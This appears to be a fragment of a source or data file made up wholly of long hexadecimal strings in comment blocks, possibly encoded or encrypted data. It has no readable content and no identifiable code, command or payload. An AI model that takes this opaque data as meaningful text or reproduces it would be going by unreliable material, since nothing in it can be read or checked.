e1b8d9a6b61f6a0e86c4dee966fe333f20b5014fa4dfa9ff8e85c14a3373d821f292f3fec7832bcfef0a9b464e10d71d12a8801028b0a86bc4e18d6b76f50dc4a3b70ab764e1933e00d63eb138a52652055c57a14a3462764ac41f81af78a0a2448c23ef6ef1ec0b2fb1a526b31090aeefb86aa37d86e034cf39595d707026503d929e4bcd45f1448027b9e9338cf5c0f380572af6d75944af12997c3a8f6c3580a2f299b3e7a277c65c202472c5a4618580bed72a3e4b87a27405270bcec26018e8623bd6dd2f9d52331c2f81e9bfbfacefba46237d7973d8d13321eb959fdd2b79972e2a58d9c861ffae597a8368cd36f73c7d4379803008bfeb830414c6100e86e220e468f7ec601516c59acab1876380cbe209db1d71c8a575d3f1d4a8b255d8dcda04add2c6c6ed7ac131a470514190cfaf10db8588e8e69a025790824d465be48453db5a13e39a74c85a18f0c2bf6182c6ed80b1f1011ce627df7cf930b065b25274c911bfd077fde5e48e49d8e4fca23cc6113d5790770deee6e2b5247834db897fb6b9716f47163a11f8e7df74374c4c6def344c8c8bfeaebbfa434b97c987fd4b2574e4953aa2df45d605ab0bebf841a0f9c6a72641e23f02d2e249f45f90be739d2e408776791ee159de51*/
/*00eb25223ceb886ac1aaedd87e6f4d73c19f7e4ee698beddeb26f75f3cb0dc6caab53727000a748d768f38905afd3ea7c0bfc3721726aa75cbc5092d695d1b309e5d40024c2288a4653f9521af1b81b8f9635ea766d22299295b68a05c2cda523cae641d828b0531394547e7ffe6a37a70efa4a41f8b337ce9bb978939065c626457b53dfa2743f066646f845a87171fadf541aef7d3a390e25defdc88616bfa2285d81e91c931529e76004ade0d9875a545671d5bbc070516e6cace6288ad8063a4f76681ec841ee87eae13ed62ee2c8f83be633572be806df4a753560aacc42c8afc2302f0bdc57d4fb99514da88624a01d53dd24270072a4ef646a2dbcec0f6b9e013968a947617d7d350c873e5798cf76276a01fcaf05c6703972c8c209d2477919ff54884e8ef4267a313ca33750fd20d91826c869e98d1b1975d7e5b5cac93821217dd2267c5bec2c56a97d017a94553bd547a48f25e783eccdc6f7545849fcf8f1d9b8ef17c08ae73f1bb78580daa85989ac3f5cb99ccb277d85cf86fcb9c44aab83d3ea88610996e584dd017a00a5dc981641b4d0af442f5e3eabca81bbe04a238b7f4c21f682763881fe39407cead9bb4155970d747b36deb38632b84c59acc81813c3f95ecfb1a6daa03dead7a1850b850acd7a0a6d32da3402cae3bc5c82a6a8faaf315af5cba4c42ec8a3b6c66f765911068c48f07a77a249c4cce85f789ccfe9c53da117e1ebf5a6cb8941ae6bbcdafab884aa1e6f4a8145cbc31d7950a9761e0ce73adf60d9af267a08d6bd46386e50082b429310dd69cbad7040c11f2430e78f7a87ffd6ce196c9e829fe51b86f3234b02916900d0697f60a7c971b76bb9e914fe5b028416224c074ec7c08fa9f280a9602fca5651895dd7a2f8e3271c41c6bbb96685a5567ab66da345b3252b0ec84bec2d7368e498facc1634fffd6c914fefe800a3753c9113987e1ab6a11acf4efe840dc1f0c118af165d5718ffd2c7082268e95cee0ec38204d59708a1f4f31cfd36ca7c0ebf197c36240c0c1a5f40d5d142dc91de8e997032c70be0877cb0bdc3485370225ba7d74b1ff5f3c54820dd21901c67c8dfdd4e0933e5cd9b85f63a1a02e7b71a062a00c39862bc610b13e486436f8b68c43ba5c21fd20b3be80e36f914af2094bb459aea2703e9d20d476f809b6aac8869578e62d7e7c7bf9c195e6e58d6f4e24bfdf59dbfae469be781f4b67f209ccda19d49e278a8eeabf210b7083cf0ddf75a83b74e54afcf1a8bd1d135573e1996bb553639f542c9cb48ba250a4548c00ba31d0a01cb860520643ed41f939d7afec7813f113afb7b1ed33ed6994083fb9b855db7326327b98b1d860d0a227f2a2735b3d8666d13de6d784589d05df11c585a53f36ac3511b1050eb94ef36ed1297722a9b54b8cd8cdefc018c433cd0f35ad5d9d02cca2ee268efee93b6d206fef69147a737df53643196346c12ff9824ec1d3a9b339799a4b92ee3b48c5ea108d51d24eedcd50c869f6961d67bb275e31fd6d8ffb390e0a79a2dd18dc4d6a742a82b4bec246adde1f1224ae357a0885f53ba460d7682058e6edef7aa7278d939ea8e2142247e656c4973158f1bdb56baf1bae5296ebc69269f8d13981a62e76c9266bde2dee9e60ed37d2c266ade800fc3874764b8df10ecf46ae5d771a7ae7284c6433172fd451f66b3fd5d931c7eba9611530843455aa4f5048ef59574fd4509d5846a196c8265b1510f34946fb37e54b7318eb5fe73a10f09f3569b6b83b48fdaa5f3d31f942d273fd0aa71f5236c76ab09aa5dce1cfb6d963cc2bddbd09d6c963983822795e6ec8f6d9d5ed851072a6187cb14e621f10e6fbc547ef4fe3485ac98e3a9a3a79c9ce6fc42c186de39bd529e60d5b9ab0319c351d0764ba0ed02ed98576c4394b8be438087543aa377f58a0cd55877bbf6927f5be639a372ed79a77e82ac74e25cc997491f94497751f99476a7b24489371ab7b67c3e001a3b636c9e1aa8989b7f8c5871300e99eb3ad5b3ee660c3b3f4fd185ed6cf31818361fd5b18e8c0a78df86334200a2e458f547020e033579519a74796015190bf6bc73c40397ff90737fde0af9f82d9e5d7221390725ce3c45e662287be19b3718169ce1a5405bb9d5da247c289fbeb33959a12667a5e7a02c4fc1e9b8c09ba5a4f8000c8869e26cfb6ad8e9ee22b531f50b531787b91c2804432def41fb7679febec88c25f56b5ebbb7d2ddac9aba55a12b70cc058e8d50520ca54230f57284654240014de28c99884d9f1e30a02cc313d58e455ccc56e3959b590039af2f56048b6ee9a00f2c40ac2c7889f03abecb9b301d88220556f815cb81538f7058deed22a1c8a215df984a6e5f084b7e5690b5e0c65d79d34a01459b407eef6d26c9f84aefb22c594d7453f3bcc484ad89c1103037e4ceb3c752d285104b1ad0860c56fb91885f64af898b703cb59733669a3ba1656abe47b17f0afacd4c7247e697fe8d5d3a8f091d13b01ac76a4adb99ed35942b351cb51ede64bbd147067e7e89d00c0aab2e38e34e221147a0f338e2e128ece0f16c6ebc867dee47232ace0986710f0cec265e4951e9a7a1b4c7fdd9a3fc1155305b09430845a673071b2d995e80818bd90e8bb3aaf13cbc02acf67f9ed6aac6bfaa230d9a4a9a01f1d42da35427f5b123ed7d8e36334d79f85cea8e7754a744ec5cafdc68dfbaed9c04f537b33c2afae6501a6bb446c4a0a10010905dc1a8526155e9a3c61d39bccd73d1c986d0719d7b311527b1518a2795d278c60a5722f729ebc8dc386853a0c00ad643993404e7f6eab185b*/
/*8957cbd612e9302d3caff5835026614a4de66b10d2bc1c13d7fb8fee60f1272dd44f0b8d13b684d20ac2c6929a999e5c69ade7e16ee084834b72218edbb6b5f69344be9e1111a4bf0cf7df8f589ba2a1ec8b55ca12a4b1c7219f106aaf68fbf6843b7642ab6618f1658d22306680bfe4421bf47b65fd55edfbfe8b6a795446b166bf425528122d2aaa67a6970c533a626626076cbac68cbd4dc059baa94882232bccb21bbeae885f736299a8dd8455bbcdc3fe13f147a3e80848eca11d2b80c2604b5df0a7d4cbe1c080890576e52b3123c68dfde573b77fb5c4ff1f81fb852d0bcdb608d48c741d0124df4b934b395293e490794139f124cbbcd67ab60ea6fbf6d728b99f7eb073703f76dce9dfbaa27ffeb31491930819403591e63b18856d5bcc78a1cfe7660184f47769d7369623e9bc8afad157af55d08ba48a9fb1fc2f19ec0ecda50bff65bccccb165b3ed69fe81d33efd51c17593e05d07b8835350de47e2c713c40033efa483274bb6b86f485617a0c4d6045ac72c991ac770d3c4244a2a538677cb08d767041fc0b183d27afdce0c3850e96ddd7e7c846379321cec6fea9fc2c4775d70c6498ae1e68074980a869dadc29667162201d03f2a20497ff42f8aa9424e67c98dbf1df069340102175e12c45f7093bdfcd0f74a1bd23efe2771221550ed035b366c9c079f306a349099417c6c07cff14a8de6d44933cf663b0bc01a5dd092e20ff5e32c452875f79d1bd59305f16faa9760e6327e9a86bb62a08bafdc82793894ed5768f2dc970f3d29493757b755d30c1cdffcafb28221818c42ed55e7e07babb51972d6d28a62cb4735d7329a236b44ff66d825eb657a9d101f7431508d1637a54c326f2abba3ee85e933f94580743ce96ed2b763508d673d9a1a369df7c876f492c3abe359adad6807c155556946467319626848b934d13516f49ebef3fb242053c0bce17757059a5ff996ac7d585be6ee5c2d08f7056224df2a9e9ad18d308180daef67725eedd687362c352ac969561bb537001b18212fe754c84990ee49bd08d7a9232fd30e3a0a5e32ee6465d4fe8b48e18938f8e3696e2f8883e947c1b8ab4f09883ccb8708ee4e08cfb9d722642891213f05253beed99103411ee21565785232fea738bfc5fcc0f749932716d43e46b513a0399f3cdde56c0a0e860321c7d21da241c10a3a3ae2d603f1e3f5e99e893b25b38749e25be6242e191c7a1bd90aa1517842db8239e9a0e22afdc39334509675510a18257e637b93bb4402921335d60d0caf7d8ab5cb2f32e820306e567ece916e1abee316375b03b6c582aa4917783a3832f3fe4d2d293c26667cf34c78b37835130f001cb357ab6701f0ccce300d073eb1b7edb511076cc753bf2e7c01e390a84618229f1c01deeaf87471f16883c83b1e8144135a24c834c78b66e76ab02b768e279d1d543be3311d01dc956f682945b1c87dc697c3c90a84b9b134863448c06c7a939f6467f25b2dca8f12918720c1e97af129a5c873ed9d0462f7af76e444bbc3b76ab00884e67980c5b8257df196a9a03caff6efc15f6b7387e56abb9ba85adcf68f63ca47dab8387c62e0f9ff8e2f2f084bb037fc73a9db2df38883d84575d585d01d89439f1cba0b25af5f8cdc345d95f9f0ecaad97bf3d21367b7dbef6af8fe00ae3a927d1e461f3cb36f4cf1873c277ac6c5aec08659ce666e61c17c00f6aa396dd8826e28b7bf78cd210ac194a3aa617ac5fce14e7d9e7aebb5941b997251aa9284d2c4bf95c87778cfaa585c4457d17232afcd871c002d28f0b1e41eb881d07ccf5cf94d4c04aa74bd5bf0fe79664234f64c52a338823d49ac6f730c91e60d1a802848d33402b3920f0b35e59945527753be29d3be994ca7b41256ff3656f469b24df802ef79f39a885ff87ee6fdb77295b61a85fed2394ad4910224f81a59dbddf56c186450914f7b1d47b11d87e408bddaeb5cb5b2898fb3a1819478446215d12948ee89cdd559313e5332a4fa66231fbd29ab00c9fc5d2fa234bb6ae21ec8ccef9d78f53dee292ffc1ff6a3d36d4067a59084130f75845ddebb72d22ee7745c9d14e21390abae44c08899d13c4371f7c13805c3d2b995144d719d164e9dc67f29606dbc191b233253bdca0189dd9121a8f6699f58ffe46529fc6e5327398e7936228c8d22aa8479733315e7cd43fec579948bdd40b2bd8a39dbcdf2d59b393ea10d030debfa23b03cb3006b86210959767d14c4b26a566a1ae5736c56147756cd59a3e76ec8ee5d3b2725b50538152bd946757290f9ad6dc26709400ead4a89016f3f4d1d1e7a487fa734fcc1ffd83f553e8d749a1273a50404450b971083ac61af1cf2285ec596cd568162dbf73f3954c998ceacbb5d346e93b4ce8e9883991ae13d410d17b155d754035c16097d3cf67fcd188d2f8fd8951b4809979bba1b503556c9f3988a729a08705e4e62d93545ba73e160ea9c2a6f118f5df0f6a13663caf01708ba9644feb640254003ba1f832dfd8dd79b03182f31bb58bc87c9094aa89183f0273f4b2962ad24ab94d2d0b0ec573551ca78e9fa4273178c2d2aed449662844b63b42b670c9741bacaae8154ea2ac09981fbea621df6f6dc27583164f736598a00c9af256d0c93d23926bd701e321f7969ffe27e747aea1832945cd9c5ea073d14cf3c010d3ab95507d38cb4183c2a84768d82fe105aa0d4ea17f009ea7644e84630ddaf29ec24ac880684ca2e74b5c18fad895ad537a2c74f3b5f481ff280d1ce3a780da778f6627178418cdc4c90ae6eca331af644d51bf00a922e75b1f12bb75763b872a*/
/*a6b341ea5de3501e348b1047786259f2d963df8fb4d9aa30da0c0bda4fe4ee8ebcfa300fcbf7b742a27fa721269751c5eac00c8c6b43368414623a369553b5669b739cdbcf64d77dff9a53e2ea6447a8f051a0a40b18ebbbc690ebad905c000736a706ce32439fc600d3768df9003c09d120b14d388f92b9d80eced909b6dbfa8cf65fdaea0030c9c267a4d6d700271166ff8b298411fb01812500a03616e90211e6185a806efcc4302170ec16d27becf20812a57570b66daf2906a9671cb7e87e96d3ea3ca95d5863c6ce6abf9c6ed36a68f7c2487b63798b2f533f6bb274ab3fca387c8daa6c12344752761c60a3e34b62990261ab19d3ce4a2c397b3bfb6df90189a214ed288bc5f564d20d2df732e4527e999c6b953c16a435d33a7cdb78f3452629c92064a7eb93cf0a1494c0241e859042899c8edeeceb674338b68c9a7bdc61e0f54921a06c948e423025f7a3e1c430e6f8a97a580559977c6d4f026a963e2787404bf3e0b4dabc35162ea273675679ae6924d6eb032116ff0b7905941247b17c845612f5c43790a198318d02e9a1cfdc38c094e7c980f8d0a3fde68d4d65d91931bd0b57217c41389f38cc74cbb7a1578c01fe6d11b46e695c3b0a5ae38a8c1338d4555d060495c593ff7011d538a04d1605e229604795fe88c69e8b006d1931338c27d065f943d8cad6af2a5678289f46c5c87c8272df72f1be94594e1fa55b7005d720114b57a37dc4f34b8b8d54c28c02226602d72d152a3205dbb7dfc3771332567c810b15150b16ad2c9abf83a94bc925e3440c11800ffd175c765c2d188cc3b29f96dded9ab34dd90d429eb9157eb01c8378ed150b890a3648b6a33b2b904a2fb90a3947f591bbb3b214255e197326117208d3e6da55114614a0cfff0022665dc23bd6dd57b85204efd36d70432fe2843962439ded6e839cec788bc2a1ce785da5af4c998c28362eee11775d5e007a70ed080ae4243a73689c9a0dff84b504b65396be6814a01886cdb14f1727e036abd3c052d851d278906882d475d31e8ec7001abd28f068b9a2ab644df191ed158c635406ec223f266beca3ad213893b4639f3c0001684df47563946d8800fa57ec546df2bda2539f45ed7ad549f34deb79c9cbeb3aeffa1aca9983727e378d059f01805f85cb89f1b93a8e9ef7981852b96339290f3941ad0b19c6a493ff1836bc6bde7ab31207c81b80b89bac157bdaf0c5114b4bc39b8261fc39f3be9d7bfb2a04e445a579f97bf28e4ae35c4a807df666e5328e808b5fca5b1797c334decf04156120fba61f42088e8aa0e69891a0587a17a1ab9a14f551d4d4f4dae40a6224f2bbac9c221e098489e75e34b3a95ce7018f72c0ae8a49898d5d11b60da01d843de2463ec183baa9fc99fb3f5f80de3e143018017c9772f3fa7ed4187d227f9a2e37c23fbfb96d9b369c246de005b14b602f1f99e97c5a1784bfa5867e40043546921e8962c72c7b553a093df4e548d2fa7e852a8bec410a1f425531be7aa475052f3736c26c07726c67f45eebfe9f21417738c8450b3e11aadf9e13f217de1c7ac90955b046bed88950240f907741147cb817c99e0f7da7b61c7a5ab3e50e1d4507507534e60e8fd8e2ff0b3c949304cf80f57e890fa7cdce3a4ea5d9a7fef34f6996bd8613567ca42607b15c78a8198d787e1cc960b85dbad1e254ea3b112b43878d1255846c24c8d0ebf4c05203f92b33bea1af2915d02998d012d4e3c5ae9850258b4b8105de42e6b4b1f853f25d3d5d7225ee0084047a44d31389586dd65eb42ce24cd383e90e7f6ecdd0c2e7ca210503c67568c0454383b49549f23a62b9ed8ff69e3da2781679a80a969ea21382c1dc8933c9e838859d731cda1f6d3df55ba1908bc724e7525dfa8213dadf24f51efb125997f08bde531bb35168d72ce8f6d51fe95f80dc4e93e4c8f055da52cbadf2b11f7be60126b17aa03b61f9f88821f9a0ae22d7008d60f4bac33b933d2c47fe7c66570396e57d8d855e33562ab2fd9749f290527744a22c36b4a7ce567def99b0960c987953c36ad547bb25a33c943fc8b5a0d9c2fd5ba69b746e544661a0301de60c8ee4c307de98ee19758e4767a8822fa74dd08cefa9c78310aa3f085648635b0859f5ba65315765cc551e00e7bbc6eda51cdfd86af26f9c6ceb7b827807426008abc85a0362362ca0432842172d0d27ab1968a6b4647331e7e226ecbce946c18f2379dc376462d6baf22f83318ab08220a242280d2eb30ac7e34087327f31ced747e663e232ce82d091eaa1688230dda4162a6acd68a49bf3134c3f6e6a832f4d020935d950b714ca830cd1d7aadb6c3a735d9e341f2e45874d57eda41099866040811e56ab9fb619e06aa6a2d8a6c9d6bbee8ca6c49866fa974bf20ad72abc60e72fa64abe577ca5f0899a73acca6944108705de9f94239ad80ca3b3aed4aaa704ecca45c214fa399df87252e40bdb2e701bf4282c97413dfed8c18a1524f95048a1e9e14a3f043af650db1c3ad10aa1ae65d4a4c9cd9c395c7896d05ea766fbfa2bdeb8945b159ccdd677ad610a941d7ed71491ec5cd86a0d9cf08aa1a41b5da5a3809fda05bfaaeefd7ceb68d884988c959703575800b11301a868a1d47d82fbea561a5faddd04b7892c11e3b398486665b13e87dff52e919fa417a7b47d9387ad38df1f42e56ab6cbf1aa4d56d0d6182ea03623b1f831b86aec8722825a7198da8e36a5a7b1a26c424d02104501f63f727f2da6aa17836b26d2210458aaa49f8926227e2abde3b17991bda83126601e14a9aa99ca1011407a9bc8c7c52b5082e23c*/
/*9a9732757b3d8744da36bcbf92ecca5c3b87aa249d511e903a61cf7dbfd03df0717d5d2ff5cdba2b12e06bc5b48a291dfa1a14710bf3293e67942a1b383a2e94b6690738fc77b04598851e0e3d4efb706ae0b01785ba37a72340037356d878790df11b85ddff0e9803461e2a81d35c8487c6be675402c040239a7f8efa7afe4321cc027b01d7088e90d57ff6e8cd717286cc07c591edd51d1c1755545e310920a9cc373da00420785abd92205dea9ff9c2eed576d770bd9a5d561ee40ff5c503f8a83b59fa01996686119910d474788c77fbc81bbbc35db3469b28ceb184f4f3eadf3f8da12254db51f2ce39ead686b4d7eeec0f9f4e8e488dcb2b2bf4fc788b0b6f0d4ba379cc18a668045021e10517b289fded428f2964f836d7ee8efd4cc9ab0d6c93fe4f4630e920d111ab9a1ab2337060b012c4e59b80d29414a9cb9b61aeba0d90ab7581af3eec3066c584b864414126e809e8b3c353c241dd7555a5a23267c6feb5b5eae8242ec51dea6fc0e3b662b12d529035ac73679a6f35d0ca17a33ff8661b44249f9d267c3785f7e13b27e3e1a51368a3c762c4850fae96a19b6664ac3f4815d3b4b0f4a29b9976b3dcee11a001248df846045b37c8983c8f9f589774cfa43fc8930ca5cbd747ec919995eb2d0db3f31a920bd7caac6cc56c6715a2eb1c065b6fbd6a12ee555908970eda22fb0fc633fb236c15963e7fd49c260736b3f0cad607023cfcb2736034678c996ae353308da7f2dc4c3b56af139d3b4d3e812bc3853b5098825828758336e209e09ec793fa1fa0019a6805aae47971bf4302798a70a1c6d953e4f37d3420d3402258fe8324a5fa645f6cc00df13c87d6e0c5f270a5943c4277ecff6c19797ea53f0933b8c00144029e0feba7bb32729b271b14a401459843086336a16d1d6f122c07d0d1bcbefbb1a91fc20c70dc2d20163cf9718ac11d56da57a8cca4e8dd671b02e0b9ee965cbfae4ea77e237ade2e4c849c6837c6a9c29c1d3143814fb5c7cf8fa534081aa9481780366d16b8e2400644ce5adec72816136a8614b4df601b8ceeed62585e3561fe3c302cd1d91738ae4d82abee64254e0ffba03209f9d1644a495676ceb9512f9b05242be6094bb07dc60186e17d98bf28bab833460a0ae9a33ca3c6d541ebf2214219abdc864b701c55ceabbef32d6f3dea068ae57faf323dbf1f377e6507e7ca837f2855992b924ce4dcdb7274f31df7911aad435cd7ab966d1fb347c69a2f5121e099a1e266658eff74dbe750ecf630e17bb39db484d6d0693cd244bb504522e9a726a7dea81c2c412f161f5390ba4d6c33229bb6f81e01afd03295a2a9e0168cb68793fe2845ca81744dba4747030cb8ac2420a960a89055031c5c1b3e94fd00546c8ee5d0ca9c94b0dd0c97b5a80d74bd41ebc77350e572be5e84f9dc0b1b147e4f54de046e86b52edf69a188fb404fbe02e61d9db12e57c66af52e83d45037683b190a8c2d5b33dccbcabeff11f6ebc1898b3250a97a7e259ad46e6bdb6fac618876aaefa338d6c040fa6823a3e1edd6942f00f2c9c470a2945420b07df3b2ad74f7832e72de15de193da55ff05e8d7dc76452c3cd03b94a62f6bc8d1b35c8d842a56ab8fe76ca0caaed161c057fad9d52ab3f0cb7beef8951f8060fb70bfe5853f607ec97902a833953b98fd96922126108807d35d7566961bab3b4aece1bc9a93a306444da59df5dd1a1503c4e251eef441735f8460515ca873ba63a04d663ed398fc8068da4b7a3476e6e3aa9b2c7a3bba997767c06eeba280fc28c716f43f38ad2b93bd9fae13c4bfb8dbe9c5055ea8b0700aed2442bcf257aa3e252298eb17aa28db5f1050b49e4095a436d90960e742c26a96d7543b2838c625762569e838a81372de48f6829948976c440e193febcc45d99f81eea44e232eb042613aad7fb415bac04cbed99ca1cf8647dd2f4e82cc93bbd9da5c82ad67ab1517830559614bf7ef982f6b9875cd1640880ee94f8895a54737d1013e1ea96ad253422362d0ac103de2d249506c6bd8f150c1741303d45a0c1e58bde802aa8a2d4f75d54ada7449d795624feff59fe5e2b16921aab955f116385fa8773c0dfd458e78fe986a5adc51981d949818e7aeb09f28b63ce6bb77de7612fec80e26d8ec838167fe2c0a06f31a86274b3fb83db6604e6b0db58ee961988b42f3924981687e004e66f492f4e3946a39ee8b4d28796b4ffcfac41ceabd964bd5af2acc74435d9f8ea3beb06fc8c2d2030f42af48b99326553cff69878328f149144f6ca71e247fa98a650ac136eb3ef8eb269b0461fdf63a51298ba897fe8f68b555a8b6bd12a5277443caf42c2bf510cd020ffeaf015b929f88862204871d1799b2e675b9f00183ec471aff2bb8fc56e33920320f45701c98cc440f846678e8d5bc722328c2407c32c8768d4926aa3cc0524103dbc825270dbc7584e7caf45bc6364b75091ad39a99c1f3b7fbd55e2bb1745fb0f13212ca095e1309fa1eaca946b4384b5a9a9a74da1b20b6d5b4229cdd7823dc1d58e481b0097eaa3f8d7a817ca24fa7aa0548d7b877f002b0b15d040374a682552dec179ddbc4a047187d76b33e9c5ffef34ad1682e5755a53823a3ca0c3414f38ad0e4237d18afdef507c352e15a2eaa6c7cec443bac40ba8b6ebbe22a8dada4143f36b9f7db9787b1449ecd5ae8a5cf0a358589d9f89f1ef66a202835db542b8b18804a831cd7ae216c0d5d558bb7338bab262cdf8fee35d76d9244dba823012b5567939bf3de33b215ba6bed0afe7f8fa7508cd9207700601554c6015c4f0bf52fd4f9487c5cf*/
/*b4d5f7de390946cab21f1c2502de343f906e94df4d55ce8f8f68be6839e86ce06b109b111ab8e8b3080980fc0234e79be2ca34636c9d55d7656a8990fd091f56d9b5d6ad87e94fe40fd3022cf749c95680f96439721825dc386ed2600d7bfdadc1c0dfeb3ceb768ab9ecc90eaf2a7766ec7ac5ad540a59fc8da6c7f3bde68e65d550b17fe9f443627844e8e020e99e89968d9d74550492f3da7be6f33560d1b2265516b0355dcc9d55d297f23b82a54c706a9671f4308cfb6293ff6ac664575e534c1bf6bfa07338a99c89c6c1b8cbf80ff1b32cec9f05dcfd7dceed737405a3341ca50ebdf687822e9be59c2352811178d152b42e4012916611777b4012ac272ffcbab76083d250d81bf76961e847c5b663f965bfebaca4ffc74e85178ce55ce368184814adfeb35c2f85ae9466d7fa54099b6b3087f659f4906e61802e898ab0136f1548e75b9bbe39dffa6d6d777af80d60034b64577c0754e294084d2de42f412805e1ce216a1783567b34caadbac9b7a539a7f62add2f6f78ce89ceece9480a0ab3140a9e9dfd83064e42df6cc9a48b3404e8d09c84d8390ec00203d4aec8cfaaffe0455b817498c7784d13926cdef55e100f8fc601b54f49281048994e9353d0b7be3ac1daa02d53fdb9f59a2f37c34efd27569e27a66c85eea0c8d791abfea26e64d2e69c1ad46b7a1a165468ae3df0dc5db5807f698f78c0bafc394703c7c40f810a420b5f2b10a182d1faff6565419684a47e15eccc9b22a0c1ce0f5d764682da5fd9c8cd1f1b2064f050fce3689efd99ef29ac3e29256c8e278da09d0921acca8c9102f39c90ae75820b043a0a23d0d4826f3a8add045b844512d911930e0da0c31470e3794f2bc6211661d45edfa6a15f9fdbee0b78703f346ff6f1bf2f233e58ed7f1647be73bb1883a69e8d7ac2d49bfed9798abb52170e946cd9d28eb9afc18002bdff560ce02edfbbeca031d34124753635d52c027b72139673e5a47c4ac720585aebf9f3a89205b5d660ad00e631c2b63eed1cd59445fe3fc1e612cfb62ae3ffdaf04d87fb0904c1622b02600b34ac718ae975bc8117d1a5c2f0470c618f9b1b8a7ed7d57dab9e69326e2393e70a07a4f3ab3cc0f2660f2dafb77308bd996f21212414df050d7688e5877f254c96476a5eca9348094c35f06e0bccf8e8bac232068d9a046b96eaf32c0003589c5eb773bdfc496b907870c4657218b8be0a66beab66cbbba6c053e4125e12ec2f8fcc5532c6fc371286a6639ee892986d4b807f5cb3f435a96c927f0302b4dac4b3203a452a1ff34e512daca2bf76cf2efef18b775fdb5cb2132cda1dfa90caf4db48cdb783b52400a821f466ffbf6c51c423ffcd09a35a9d91ee169e60b1d74ccbb91202411af1500385639beed283b1eea8a6a96e4539c79cc109d78b49b1099d08654d851f6a5a1ba5356d7a43d28eeab3cc0d23672c97552b58bcd46f4081ef33e019e54c9fcd78b1344de3b8a12430282caaed7c005294170d9f29ef9300d243d0b2d282295a0cdff7c59d7d7c692da6b07299f953b9676b7a12706e444d74b334224c9af2155ee6fdd765fa5ed5259fb4d1a834c1113b807270467db5d683cc744cc51708d05e4b43498792c0c8eaad40394a95464fca82e46d3b1673211bd0a9373786cbf64125a448fba24a143b1d6b369b5e59e1f0d1d99d4906b34b55ad9c3b5e30669ab161e5b0b070610138832433f439aa25f8cec2f39e79027d9c695e8245f633658026b4f09264594b00b11f9e7e9515e5ba01a3c70842b6c566418eddeee794e19859454fa19474a5888303e4e599bbd90d49d0f7c812655c6b8b42c1c276695bc4b5f8a18f2c470afb598fdb19d91e0c3c03a7d2b62cb7e4113b466213207ae9bdbdbdfba9532f7c2be35be0f023768a375556f4f38b6f9f71dc00a6dedace3f447c9a3af28512febd549cb034ada50a2cfa2301533a989cc10f5f3b6780a7ffaf3b5edb9cc0df8ffb25be27426f5d483b2becd2e260d97b7ff98282642407318d7d65c6424d0aaa63b1299a905c6cab5fa79529a24a0c02d6b7426bcaede3634157c3a203a60ce6a71d7acae82eb4ef0fd4c414e0cd306480b4fa3da4a08decfe8cbfe18d56ab751501a77c852b2bd605f616ba800776c4b696e0e0743fb9227b6bb4d7d24d0eb3a9c27bb567f2cd5914ce7af89a6f3cc132dbb273f4d16443c4cb46c3cdea67b285b98393ec232a98b66335aad74d5848a0e4d1f5c63225e9ad280945c0278af70304d582f8ab82e06c95268705a5158816eb0ff27c1047f2521865c6b3623e3477672612caf13e6ac1059ce47eb2119958962bf604395decadb36d887436ea6b6ca6a403a089a0be4e6613432e1e3af4b0bab342b701d6d444913b2ac8909d358d178379ac98bf571063cf4598df422c04c1e372797444f1c3cdcf2bc1de11a85bd7b45f134ecda44fb9e69bfca41a3cf93687a281ebddd56ee365ea7fd74932dfe0e1886fbd404db3b06ee78974bf0ccfb26c7e08dc403a1600a5b464cbfdee2ba1bd2cdaa5c4aaaf5e0e1e6b162ac14026e205dc0ddbc26439a69bdef502317dd02a7d65f0180223eb7ccd19341a95bf90c2638cac187e4abeed99b80f712679be844bf99fdb08dd329c3965b9d8c125d19d233b27a94600b99b45c3fc1cfcd41dbff256172734e532e1cf9e557fd1dcfb52fc292594f25409ebc1ad38f9f29d1f95afa4c2c1e70ed0b7ac3cee36955fe6a620b1c90aac5fb6dd978d0decc4bf465ed918d3bcde1264b5e78b9536cf40e8ba1a531131ae8b4d23e61e8a49f90d6a1725ada74832b7955f*/
/*c74299137405c7b79f134e89675360c43c321680020fb69050412ce415cee8dc5692e3e6f540ef0bb548d250ce9100124a14d14fc3ddf108bbab7d8098e90ec7d7ded9555615f6fa2311eaf89fcc034e0e74417b566595b082136bd4dd5f7ae1510cfd700caae3dda9b509b18bfd9e06f9deb958733326f8bc5b0c8976f5fdc5e4a5888e9ee864de838d46e89539e97f032e32c21069234f7d474eb3bfb0849f9f56a3747a51e4a25f59c90eb7511f1929ba4a902aaa1c6b31f8a27f2f825a44dee40212b345594fb171589b215aea069413b533dd870e46a1251038cd465cab04aa2cbcf91629ee793ec4a9d75e292de71f76c85d56f5488e1db7ab186a4a5944701b24044ef65052aeae2559401894efbad27e330e5a131a5442f15f35b608f6bbfbbc516b45d0578b9ada356f28ab096589d16599d31dba630ea69029a9f45640d361d038409df3b8a5c135ea1e18714b4f62acd17fcb8e062ff59718a40127a2c360622131d26f67df1fe7527123d5532bfb8b4fc90df48e8825afff591bd6cc5e15a80896e5ca0d1b123adb2fa1aa5c77aa9430ba38af092c0a2ccae9cbba8c6330665bd3507105f0fe54e0407a86a15b342dfdc30950c2852a49e8b79bc2fc0801d0da78b2e06ca34f823f4ed56cf3954691d2086e9f4dbe43350b010e86cb29d740de7964e8ed68f2ffc3b794fbbfb5131dee72ac5f8b7daf7aa8c2c01c2d062546cbf3ae751d9cd1ad8b10ae3353e7c2362f7edc5882c669d2ed3a09c3cda943adff13f4b55be862d91491e3cc158314f6fe3642a7e8ec81e8990e86282f3372b5637eb254c00fb47f14aff28c3877a5e8cc17e9f0cbfbf98342fdf85f768d7723712fcb75ee0055fdb932c4e4e544720c3bc6ede608864fff59dc3e259fe05c37724392ef7cfea566568a360fb951c186ef63bb0befb83a6d021457135590326411f37496ca4466f4632ae41fd51bfbd4a1b5cac5aaebd3ea6b401dd8a0f8e311f409a88083fc461c2c861eceb1bbf7e984fae174603678d68537afd5ca7a05860cf7f1fad6adbf3a70e3786cf79c6d7386ade386080910c3cc7a16f467cedd5f343d416a9f5fb39f500b2a0f31717d781a8c05fe6267486f9834a10bd4fa5e0fc4e59e6343cbe66b6eedd3b97685bf3f075d0524099a3f5c1aeff29df08509b448c859e446a570c11aac3a2440b26a852d71ef3f5cd564a36ddb535ae399c7e4812a24cac4c0405b048c910c51e42a49b9283143ff6fcd7a3d917a6d3161d92a829d23dd8d9363c76067188ce2d4d193edc90d2a47135dd90b4b5dee059a9053c273ed07c4a329e43359e9ef8c593f9a94651efc5fdfc67d993b80f9df2849d648941bb8d6e10b0f5cd106e12a33bf0f3725962236ea23689bb5b867253120fe12cd3895f38f70533961a8e53aa6fe208e0e988c239587355ae4416bf7ad194b57ad3998588b51583861e4e2bfa0fc8d7a7335e3c547b4c1f24aa9a90ad78acc854d542e18208c76bf97363c7a0f9396209a036c7